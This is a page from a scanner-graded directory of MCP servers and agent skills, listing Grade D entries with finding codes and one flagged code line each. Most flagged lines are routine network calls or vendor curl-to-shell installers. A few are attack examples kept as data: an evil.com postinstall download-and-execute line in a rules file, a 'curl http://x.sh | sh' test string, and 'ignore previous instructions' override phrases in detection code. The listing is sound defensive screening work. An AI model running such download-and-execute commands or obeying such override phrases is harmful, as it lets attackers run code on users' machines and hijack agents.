Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 851 to 900 of 1,228 Grade D entries. Page 18 of 25.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/agent_memory_os/cli.py:585 with urllib.request.urlopen(request, timeout=TEAM_UPDATE_REQUEST_TIMEOUT_SECONDAgent Memory Os (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.yamantaka520/agent-memory-os --> <p align="center"> <img src="https://raw.githubusercontent.com/yamantaka520/Agent-Memory-OS/main/assets/agent-memory-os-logo-integrated-v2.png" alt="Agent Memory OS" width="560"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
sandbox/pu_network.py:32 def fetch(expr: str, values: tuple[Any, ...], use_arity: bool) -> list[str]:Android Reverse Engineering Mcp (MCP server)
Compatibility: Not stated.
**MCP-first, sandboxed Android reverse engineering with semantic program understanding for AI agents.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST OBFUSCATION_ENCODED_BLOB
package.json:16 prepareaspicio (MCP server)
Compatibility: Not stated.
Open, inspect, and render DXF/CAD drawings: describe_dxf and render_dxf MCP tools plus skills for reading drawings and embedding the viewer.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
bootstrap.php:880 fetch(form.action, { method: 'POST', body: new FormData(form), credentials: 'basehim (MCP server)
Compatibility: Not stated.
**The CMS built for the AI era.** An open-source, API-first PHP CMS with a built-in Model Context Protocol server, so AI agents can search, read and draft your content , every permission scoped, so you decide exactly what they reach.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/bipa/SKILL.md:80 curl -fsSL https://agents.bipa.app/install.sh | shBipa Cli (MCP server)
Compatibility: Not stated.
<p align="center"> <a href="https://agents.bipa.app"> <img src="assets/logo.png" alt="Bipa CLI" width="500" /> </a> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
scripts/install.sh:9 # curl -sSfL https://raw.githubusercontent.com/turtlemonvh/blanket/master/scripts/installblanket (MCP server)
Compatibility: Not stated.
Blanket is a RESTy wrapper for long-running tasks.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
install.sh:72 [ -n "$UV_BIN" ] || fail "uv is required but was not found in PATH. Install: curl -LsSf https://Bqa Mcp (MCP server)
Compatibility: Not stated.
BotQuangAnh Host MCP is a secure Model Context Protocol (MCP) host runtime and native desktop studio.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK +3 more
ee/rag-core/src/routes/rag-upload.ts:217 await fs.unlink(file.filepath).catch(() => undefined);calame (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="./docs/assets/logo.png" alt="Calame" width="120" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/harden/modules/tailscale.ts:192 const r = await exec('curl -fsSL https://tailscale.com/install.sh | sh')clawops (MCP server)
Compatibility: Not stated.
MCP-native infrastructure ops for OpenClaw, with read-only mode, destructive-action confirmation, and audit logs built in.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +2 more
action/summary.py:320 return subprocess.run(list(argv), stdin=subprocess.DEVNULL, check=False).returncodeCleanframe (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="https://raw.githubusercontent.com/inboxpraveen/Cleanframe/main/docs/assets/Logo.svg" alt="CleanFrame logo" width="120" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:160 what `curl -fsSL https://get.miabi.io | sudo bash` installs and then runs.cli (MCP server)
Compatibility: Not stated.
The imperative client for a [Miabi](https://github.com/miabi-io/miabi) control panel.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/codex-claude-council/SKILL.md:61 - Do not start the same question again, and do not tell the user it faCodex Claude Council (MCP server)
Compatibility: Not stated.
Ask OpenAI Codex (ChatGPT) and Claude the same question through your own signed-in CLIs.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install.sh:3 # Usage: curl -fsSL https://raw.githubusercontent.com/SunflowersLwtech/covate/main/scriptcovate (MCP server)
Compatibility: Not stated.
Covate - Context-aware learning sidebar for AI coding assistants, served as an MCP server.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
scripts/test_wheel_install.py:44 return subprocess.run(args, capture_output=True, text=True, timeout=timeout,dcert (MCP server)
Compatibility: Not stated.
<div align="center"> <img src="assets/logo.svg" alt="dcert logo" width="400"> <h1>dcert</h1> <p><strong>TLS Certificate Decoder & Validator</strong></p> <p>A Rust CLI and MCP server for X.509 certificate analysis, format conversion, and key verification.<br>Reads certificates fro
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.cursor/install.sh:12 curl -fsSL https://bun.sh/install | bashexeora (MCP server)
Compatibility: Not stated.
Secure execution for AI agents, on any machine.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +2 more
src/handlers/tools.ts:1149 fs.rmSync(creditCache, { force: true });Faf Mcp (MCP server)
Compatibility: Not stated.
<!-- faf: faf-mcp | TypeScript | mcp | The Interop MCP for Context , the Cursor / IDE Edition.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/client.ts:75 res = await fetch(`${this.baseUrl}${path}`, {Floe Mcp Server (MCP server)
Compatibility: Not stated.
**Floe , trusted settlement for task-based AI.** Your AI vendor counts resolutions, then sends an invoice.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
start.sh:33 if ! curl --fail --silent --show-error --location --proto '=https' --proto-redir '=https' --tlsv1.Frely Cli (MCP server)
Compatibility: Not stated.
[English](README.md) · [简体中文](README.zh-CN.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
harness/mcp-boot/http_bridge.py:33 with socket.create_connection((host, port), timeout=timeout):Game Studio Harness (MCP server)
Compatibility: Not stated.
Game Studio Harness（GSH）是面向**完整游戏制作流水线**的四层上下文操作系统。它把大模型代理接入制作与方向、策划、工程、品质、美术音频与活服运营。本轮范围写在文件合同里。技能按步打开。默认写入隔离面。正式面回写须制作方批准。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
client-plugin/server/src/gather/client_network.py:102 receipt, body = fetch(url, transport=transport, max_bytegather (MCP server)
Compatibility: Not stated.
<picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/HarperZ9/gather/main/docs/art/hero-dark.svg"> <img src="https://raw.githubusercontent.com/HarperZ9/gather/main/docs/art/hero-light.svg" alt="gather: Research intake for web pages, pap
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.goreleaser.yaml:112 curl -fsSL https://raw.githubusercontent.com/kOlapsis/gofact/main/install.sh | shgofact (MCP server)
Compatibility: Not stated.
Génère des factures Factur-X conformes (PDF/A-3 + XML CII EN 16931) : binaire Go + skill creer-facture.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV +1 more
docs/specs/promo_check.py:50 self.proc = subprocess.Popen(Google Webtools Mcp (MCP server)
Compatibility: Not stated.
Как AI-агенту пользоваться MCP-сервером google-webtools (Google Search Console + GA4, 39 тулов) , подключение нового сайта, верификация, сайтмапы, регулярный SEO-аудит, чтение URL Inspection, чего в API нет, что квотируется и что пишет в прод.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
src/data/rules/supply-chain.ts:219 wnload and execute:\n// "postinstall": "curl https://evil.com/setup.sh | shguardvibe (MCP server)
Compatibility: Not stated.
> **Security infrastructure your AI can't be.** > No matter how good your coding agent gets, it can't know the CVE published after its training cutoff, it can't deterministically guarantee the same check every run, it can't hold your whole repo in context, and it can't objectivel
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/holocore/animus_retrieval.py:42 with urllib.request.urlopen(request, timeout=self.timeout) as response:HoloCore (MCP server)
Compatibility: Not stated.
**HoloCore Context Engine** is a local AI knowledge and activity system for all your projects.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
horus_hourly_pulse.py:159 with urllib.request.urlopen(req, timeout=3) as resp:Horus Flow Mcp (MCP server)
Compatibility: Not stated.
<div align="center"> <h1>🦅 HORUS CORTEX & FLOW</h1> <h3>The Cognitive Market Brain for Autonomous AI Trading Agents</h3>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +2 more
html_mcp_web/cli.py:77 result = subprocess.run([sys.executable, str(builder), str(content), str(main)],Html Mcp Web (MCP server)
Compatibility: Not stated.
<img src="docs/logo.png" alt="" width="96">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +2 more
ida-agent-plugin/cmake/generate_ida_qt_import_lib.py:76 result = subprocess.run(Ida Pro Agent (MCP server)
Compatibility: Not stated.
[English](#english) | [中文](#中文)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
integrations/agentskills/loop-verifier/SKILL.md:65 -d '{"artifact":"curl -s http://deploy.example.sh/setup | sinvinoveritas (MCP server)
Compatibility: Not stated.
The pre-trade review your autonomous trading agent calls before it risks real capital , the same gate we run our own important decisions through.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/ci.yml:27 curl https://mise.run | shJcode Ragmir (MCP server)
Compatibility: Not stated.
**Cited project context for coding agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
alerts.ts:29 const req = https.request({kilotest (MCP server)
Compatibility: Not stated.
An ensemble testing and reporting service for front-end web quality
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
package.json:9 postinstallLangchain Playground (MCP server)
Compatibility: Not stated.
A playground for LangChain.js, LangGraph, Slack, Model Context Protocol (MCP) and other LLM-related tools.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:6 # curl -fsSL https://github.com/owen282000/life-dashboard-stack/releases/latest/download/install.Life Dashboard Stack (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/readme-icon.png" alt="Life Dashboard icon" width="128" height="128"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
OBFUSCATION_RUNS_ENCODED_PAYLOAD
crates/text/jieba/src/data/dict.txt:1 1号店 3 nLocal Multimodal Infra (MCP server)
Compatibility: Not stated.
> 将本机及内网的 CPU / NVIDIA GPU 算力封装为可供 Agent 调用的多模态推理服务。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/actions/setup-python/action.yml:29 curl -LsSf https://astral.sh/uv/install.sh | shLucius Mcp (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.ivanostanin/lucius-mcp -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/Client/ResponseCache.php:38 return $fetch();Mcp (MCP server)
Compatibility: Not stated.
LaraGram MCP allows you to rapidly build MCP servers for your LaraGram applications.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/tools/analysis/tech-detect.ts:73 const response = await fetch(url, {Mcp Vanguard (MCP server)
Compatibility: Not stated.
A security pentesting MCP Server with **89 tools** across **10 categories** for Claude integration.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
docs/assets/build_assets.py:262 ("Poisoning scan", "Invisible Unicode and injection phrases", "(\"ignore previMcpHub (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/assets/hero.svg" alt="McpHub, one secure hub for all your MCP servers" width="100%"/> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
backfill-embeddings.mjs:115 const res = await fetch(EMBED_URL, {mneme (MCP server)
Compatibility: Not stated.
> **Save 80-90% memory-related token costs.** Persistent long-term memory for AI agents via MCP , on-demand recall instead of always-inject.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV +1 more
apps/api/src/auth.test.ts:80 const response = await worker.fetch(req, noStorage());mote (MCP server)
Compatibility: Not stated.
<p align="center"> <br> <picture> <source media="(prefers-color-scheme: dark)" srcset="docs/assets/logo-dark.png"> <img src="docs/assets/logo.png" alt="Mote" width="280"> </picture> <br><br> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
openproject_mcp/version_probe.py:117 async def fetch() -> dict[str, Any]:Openproject Mcp (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.kar-thik/openproject-mcp-server -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
run-server.sh:341 echo " curl https://pyenv.run | bash" >&2Pal Mcp Server (MCP server)
Compatibility: Not stated.
<div align="center"> <picture> <img src="docs/assets/images/logo.svg" alt="pal-mcp-server" width="420"> </picture> </div>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/build.yaml:57 curl -LsSf https://astral.sh/uv/install.sh | shPerfecto Mcp (MCP server)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
assets/readme/xray-dark.svg:143 <g class="hl2 a"><text class="hl em mark a" x="50" y="370">ignore previous insPylos Mcp (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="assets/logo/pylos.svg" alt="pylos-mcp logo, an envelope with a keyhole in its flap" width="128"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
package.json:50 preparerewind (MCP server)
Compatibility: Not stated.
Personal data aggregation API.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
internal/buildinfo/buildinfo_test.go:393 command := exec.Command(binary, "--version")sandrone (MCP server)
Compatibility: Not stated.
<div align="center"> <img src="docs/sandrone.png" width="168" alt="Sandrone logo"> <h1>Sandrone</h1> <p><strong>把零散订阅变成可维护、可验证、可分享的客户端配置。</strong></p> <p>A self-hosted proxy configuration workbench , from subscription sources to client-ready configs.</p> <p> <a href="https://git
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/agent/safety/tests.rs:204 ("curl http://x.sh | sh", "remote"),sqwai (MCP server)
Compatibility: Not stated.
Work in progress.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
package.json:28 prepareSsh Mcp Server (MCP server)
Compatibility: Not stated.
Remote server work over the OpenSSH client already on your machine: run commands, move files with checksum verification, search logs and audit hosts, with destructive commands blocked before they reach the shell.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
package.json:41 prepareSwsd Mcp (MCP server)
Compatibility: Not stated.
**MCP server for SolarWinds Service Desk (SWSD / Samanage).** Works with any [Model Context Protocol](https://modelcontextprotocol.io) client to handle tickets, service requests, knowledge-base work, change/release workflows, assets/CMDB context, procurement records, risks, time
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/release.sh:160 if ! curl -fsIL "$base/$name" -o /dev/null; thensync (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
examples/08_rest_api.py:13 curl http://localhost:8000/api/v1/connectorsToolsConnector (MCP server)
Compatibility: Not stated.
**One interface, every tool.
This grade is a hygiene screen, not proof of safety.
